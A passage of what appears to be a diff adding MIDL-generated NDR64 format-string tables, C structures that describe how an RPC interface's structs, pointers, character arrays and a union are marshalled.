_NDR64_MEMPAD_FORMAT */ + 0x90, /* FC64_STRUCTPADN */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 4 /* 0x4 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x14, /* FC64_POINTER */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x93, /* FC64_END */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + } + } +}; + +static const __midl_frag124_t __midl_frag124 = +{ +/* *Struct_800_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag125 +}; + +static const __midl_frag123_t __midl_frag123 = +{ +/* Struct_780_t */ + { + /* Struct_780_t */ + 0x30, /* FC64_STRUCT */ + (NDR64_UINT8) 3 /* 0x3 */, + { + /* Struct_780_t */ + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0 + }, + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT32) 24 /* 0x18 */ + } +}; + +static const __midl_frag122_t __midl_frag122 = +{ +/* *Struct_780_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag123 +}; + +static const __midl_frag121_t __midl_frag121 = +{ +/* Struct_126_t */ + { + /* Struct_126_t */ + 0x30, /* FC64_STRUCT */ + (NDR64_UINT8) 3 /* 0x3 */, + { + /* Struct_126_t */ + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0 + }, + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT32) 8 /* 0x8 */ + } +}; + +static const __midl_frag115_t __midl_frag115 = +{ +/* *Struct_756_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag153 +}; + +static const __midl_frag110_t __midl_frag110 = +{ +/* Struct_706_t */ + { + /* Struct_706_t */ + 0x35, /* FC64_FORCED_BOGUS_STRUCT */ + (NDR64_UINT8) 7 /* 0x7 */, + { + /* Struct_706_t */ + 1, + 1, + 0, + 0, + 0, + 0, + 0, + 0 + }, + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT32) 56 /* 0x38 */, + 0, + 0, + &__midl_frag145, + }, + { + /* */ + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x14, /* FC64_POINTER */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x7, /* FC64_INT64 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_MEMPAD_FORMAT */ + 0x90, /* FC64_STRUCTPADN */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 4 /* 0x4 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x14, /* FC64_POINTER */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x14, /* FC64_POINTER */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_MEMPAD_FORMAT */ + 0x90, /* FC64_STRUCTPADN */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 4 /* 0x4 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* Struct_706_t */ + 0x92, /* FC64_BUFFER_ALIGN */ + (NDR64_UINT8) 7 /* 0x7 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x93, /* FC64_END */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + } + } +}; + +static const __midl_frag109_t __midl_frag109 = +{ +/* *Struct_706_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag110 +}; + +static const __midl_frag108_t __midl_frag108 = +{ +/* */ + { + /* *wchar_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag2364 + }, + { + /* *char */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 32 /* 0x20 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag102 + }, + { + /* *char */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 32 /* 0x20 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag105 + } +}; + +static const __midl_frag106_t __midl_frag106 = +{ +/* */ + (NDR64_UINT32) 1 /* 0x1 */, + { + /* struct _NDR64_EXPR_VAR */ + 0x3, /* FC_EXPR_VAR */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 24 /* 0x18 */ + } +}; + +static const __midl_frag105_t __midl_frag105 = +{ +/* *char */ + { + /* *char */ + 0x41, /* FC64_CONF_ARRAY */ + (NDR64_UINT8) 0 /* 0x0 */, + { + /* *char */ + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0 + }, + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT32) 1 /* 0x1 */, + &__midl_frag106 + }, + { + /* struct _NDR64_ARRAY_ELEMENT_INFO */ + (NDR64_UINT32) 1 /* 0x1 */, + &__midl_frag2355 + } +}; + +static const __midl_frag103_t __midl_frag103 = +{ +/* */ + (NDR64_UINT32) 1 /* 0x1 */, + { + /* struct _NDR64_EXPR_VAR */ + 0x3, /* FC_EXPR_VAR */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 12 /* 0xc */ + } +}; + +static const __midl_frag102_t __midl_frag102 = +{ +/* *char */ + { + /* *char */ + 0x41, /* FC64_CONF_ARRAY */ + (NDR64_UINT8) 0 /* 0x0 */, + { + /* *char */ + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0 + }, + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT32) 1 /* 0x1 */, + &__midl_frag103 + }, + { + /* struct _NDR64_ARRAY_ELEMENT_INFO */ + (NDR64_UINT32) 1 /* 0x1 */, + &__midl_frag2355 + } +}; + +static const __midl_frag100_t __midl_frag100 = +{ +/* Struct_674_t */ + { + /* Struct_674_t */ + 0x35, /* FC64_FORCED_BOGUS_STRUCT */ + (NDR64_UINT8) 7 /* 0x7 */, + { + /* Struct_674_t */ + 1, + 1, + 0, + 0, + 0, + 0, + 0, + 0 + }, + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT32) 40 /* 0x28 */, + 0, + 0, + &__midl_frag108, + }, + { + /* */ + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x14, /* FC64_POINTER */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x14, /* FC64_POINTER */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_MEMPAD_FORMAT */ + 0x90, /* FC64_STRUCTPADN */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 4 /* 0x4 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x14, /* FC64_POINTER */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x93, /* FC64_END */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + } + } +}; + +static const __midl_frag99_t __midl_frag99 = +{ +/* *Struct_674_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag100 +}; + +static const __midl_frag98_t __midl_frag98 = +{ +/* */ + { + /* *char */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 32 /* 0x20 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag95 + } +}; + +static const __midl_frag96_t __midl_frag96 = +{ +/* */ + (NDR64_UINT32) 1 /* 0x1 */, + { + /* struct _NDR64_EXPR_VAR */ + 0x3, /* FC_EXPR_VAR */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + } +}; + +static const __midl_frag95_t __midl_frag95 = +{ +/* *char */ + { + /* *char */ + 0x41, /* FC64_CONF_ARRAY */ + (NDR64_UINT8) 0 /* 0x0 */, + { + /* *char */ + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0 + }, + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT32) 1 /* 0x1 */, + &__midl_frag96 + }, + { + /* struct _NDR64_ARRAY_ELEMENT_INFO */ + (NDR64_UINT32) 1 /* 0x1 */, + &__midl_frag2355 + } +}; + +static const __midl_frag94_t __midl_frag94 = +{ +/* Struct_630_t */ + { + /* Struct_630_t */ + 0x35, /* FC64_FORCED_BOGUS_STRUCT */ + (NDR64_UINT8) 7 /* 0x7 */, + { + /* Struct_630_t */ + 1, + 1, + 0, + 0, + 0, + 0, + 0, + 0 + }, + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT32) 16 /* 0x10 */, + 0, + 0, + &__midl_frag98, + }, + { + /* */ + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_MEMPAD_FORMAT */ + 0x90, /* FC64_STRUCTPADN */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 4 /* 0x4 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x14, /* FC64_POINTER */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x93, /* FC64_END */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + } + } +}; + +static const __midl_frag93_t __midl_frag93 = +{ +/* *Struct_630_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag94 +}; + +static const __midl_frag91_t __midl_frag91 = +{ +/* */ + { + /* *wchar_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag2364 + } +}; + +static const __midl_frag89_t __midl_frag89 = +{ +/* Struct_594_t */ + { + /* Struct_594_t */ + 0x35, /* FC64_FORCED_BOGUS_STRUCT */ + (NDR64_UINT8) 7 /* 0x7 */, + { + /* Struct_594_t */ + 1, + 1, + 0, + 0, + 0, + 0, + 0, + 0 + }, + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT32) 32 /* 0x20 */, + 0, + 0, + &__midl_frag91, + }, + { + /* */ + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_MEMPAD_FORMAT */ + 0x90, /* FC64_STRUCTPADN */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 4 /* 0x4 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x14, /* FC64_POINTER */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x93, /* FC64_END */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + } + } +}; + +static const __midl_frag88_t __midl_frag88 = +{ +/* *Struct_594_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag89 +}; + +static const __midl_frag87_t __midl_frag87 = +{ +/* Struct_576_t */ + { + /* Struct_576_t */ + 0x30, /* FC64_STRUCT */ + (NDR64_UINT8) 7 /* 0x7 */, + { + /* Struct_576_t */ + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0 + }, + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT32) 24 /* 0x18 */ + } +}; + +static const __midl_frag86_t __midl_frag86 = +{ +/* *Struct_576_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag87 +}; + +static const __midl_frag85_t __midl_frag85 = +{ +/* Struct_552_t */ + { + /* Struct_552_t */ + 0x31, /* FC64_PSTRUCT */ + (NDR64_UINT8) 7 /* 0x7 */, + { + /* Struct_552_t */ + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0 + }, + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT32) 16 /* 0x10 */ + }, + { + /* */ + { + /* struct _NDR64_NO_REPEAT_FORMAT */ + 0x80, /* FC64_NO_REPEAT */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */ + (NDR64_UINT32) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* *Struct_476_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag73 + }, + { + /* struct _NDR64_NO_REPEAT_FORMAT */ + 0x80, /* FC64_NO_REPEAT */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */ + (NDR64_UINT32) 8 /* 0x8 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* *Struct_476_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag73 + }, + 0x93 /* FC64_END */ + } +}; + +static const __midl_frag84_t __midl_frag84 = +{ +/* *Struct_552_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag85 +}; + +static const __midl_frag83_t __midl_frag83 = +{ +/* Struct_530_t */ + { + /* Struct_530_t */ + 0x31, /* FC64_PSTRUCT */ + (NDR64_UINT8) 7 /* 0x7 */, + { + /* Struct_530_t */ + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0 + }, + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT32) 24 /* 0x18 */ + }, + { + /* */ + { + /* struct _NDR64_NO_REPEAT_FORMAT */ + 0x80, /* FC64_NO_REPEAT */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */ + (NDR64_UINT32) 16 /* 0x10 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* *Struct_476_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag73 + }, + 0x93 /* FC64_END */ + } +}; + +static const __midl_frag82_t __midl_frag82 = +{ +/* *Struct_530_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag83 +}; + +static const __midl_frag81_t __midl_frag81 = +{ +/* */ + { + /* struct _NDR64_FIX_ARRAY_HEADER_FORMAT */ + 0x40, /* FC64_FIX_ARRAY */ + (NDR64_UINT8) 3 /* 0x3 */, + { + /* struct _NDR64_FIX_ARRAY_HEADER_FORMAT */ + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0 + }, + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT32) 16 /* 0x10 */ + } +}; + +static const __midl_frag80_t __midl_frag80 = +{ +/* */ + { + /* struct _NDR64_FIX_ARRAY_HEADER_FORMAT */ + 0x40, /* FC64_FIX_ARRAY */ + (NDR64_UINT8) 7 /* 0x7 */, + { + /* struct _NDR64_FIX_ARRAY_HEADER_FORMAT */ + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0 + }, + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT32) 32 /* 0x20 */ + } +}; + +static const __midl_frag79_t __midl_frag79 = +{ +/* */ + { + /* *Struct_476_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag73 + } +}; + +static const __midl_frag77_t __midl_frag77 = +{ +/* */ + (NDR64_UINT32) 1 /* 0x1 */, + { + /* struct _NDR64_EXPR_VAR */ + 0x3, /* FC_EXPR_VAR */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 20 /* 0x14 */ + } +}; + +static const __midl_frag76_t __midl_frag76 = +{ +/* *char */ + { + /* *char */ + 0x41, /* FC64_CONF_ARRAY */ + (NDR64_UINT8) 0 /* 0x0 */, + { + /* *char */ + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0 + }, + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT32) 1 /* 0x1 */, + &__midl_frag77 + }, + { + /* struct _NDR64_ARRAY_ELEMENT_INFO */ + (NDR64_UINT32) 1 /* 0x1 */, + &__midl_frag2355 + } +}; + +static const __midl_frag73_t __midl_frag73 = +{ +/* Struct_476_t */ + { + /* Struct_476_t */ + 0x31, /* FC64_PSTRUCT */ + (NDR64_UINT8) 7 /* 0x7 */, + { + /* Struct_476_t */ + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0 + }, + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT32) 32 /* 0x20 */ + }, + { + /* */ + { + /* struct _NDR64_NO_REPEAT_FORMAT */ + 0x80, /* FC64_NO_REPEAT */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */ + (NDR64_UINT32) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* *wchar_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag2364 + }, + { + /* struct _NDR64_NO_REPEAT_FORMAT */ + 0x80, /* FC64_NO_REPEAT */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */ + (NDR64_UINT32) 8 /* 0x8 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* *wchar_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag2364 + }, + { + /* struct _NDR64_NO_REPEAT_FORMAT */ + 0x80, /* FC64_NO_REPEAT */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */ + (NDR64_UINT32) 24 /* 0x18 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* *char */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 32 /* 0x20 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag76 + }, + 0x93 /* FC64_END */ + } +}; + +static const __midl_frag72_t __midl_frag72 = +{ +/* Struct_502_t */ + { + /* Struct_502_t */ + 0x35, /* FC64_FORCED_BOGUS_STRUCT */ + (NDR64_UINT8) 7 /* 0x7 */, + { + /* Struct_502_t */ + 1, + 1, + 0, + 0, + 0, + 0, + 0, + 0 + }, + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT32) 112 /* 0x70 */, + 0, + 0, + &__midl_frag79, + }, + { + /* */ + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_MEMPAD_FORMAT */ + 0x90, /* FC64_STRUCTPADN */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 4 /* 0x4 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x14, /* FC64_POINTER */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* Struct_58_t */ + 0x92, /* FC64_BUFFER_ALIGN */ + (NDR64_UINT8) 7 /* 0x7 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_MEMPAD_FORMAT */ + 0x90, /* FC64_STRUCTPADN */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 4 /* 0x4 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x7, /* FC64_INT64 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x7, /* FC64_INT64 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x7, /* FC64_INT64 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x7, /* FC64_INT64 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_EMBEDDED_COMPLEX_FORMAT */ + 0x91, /* FC64_EMBEDDED_COMPLEX */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag80 + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_EMBEDDED_COMPLEX_FORMAT */ + 0x91, /* FC64_EMBEDDED_COMPLEX */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag81 + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x93, /* FC64_END */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + } + } +}; + +static const __midl_frag71_t __midl_frag71 = +{ +/* *Struct_502_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag72 +}; + +static const __midl_frag60_t __midl_frag60 = +{ +/* Struct_110_t */ + { + /* Struct_110_t */ + 0x30, /* FC64_STRUCT */ + (NDR64_UINT8) 3 /* 0x3 */, + { + /* Struct_110_t */ + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0 + }, + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT32) 4 /* 0x4 */ + } +}; + +static const __midl_frag57_t __midl_frag57 = +{ +/* union_368 */ + { + /* union_368 */ + 0x51, /* FC64_NON_ENCAPSULATED_UNION */ + (NDR64_UINT8) 7 /* 0x7 */, + (NDR64_UINT8) 0 /* 0x0 */, + 0x5, /* FC64_INT32 */ + (NDR64_UINT32) 8 /* 0x8 */, + &__midl_frag96, + (NDR64_UINT32) 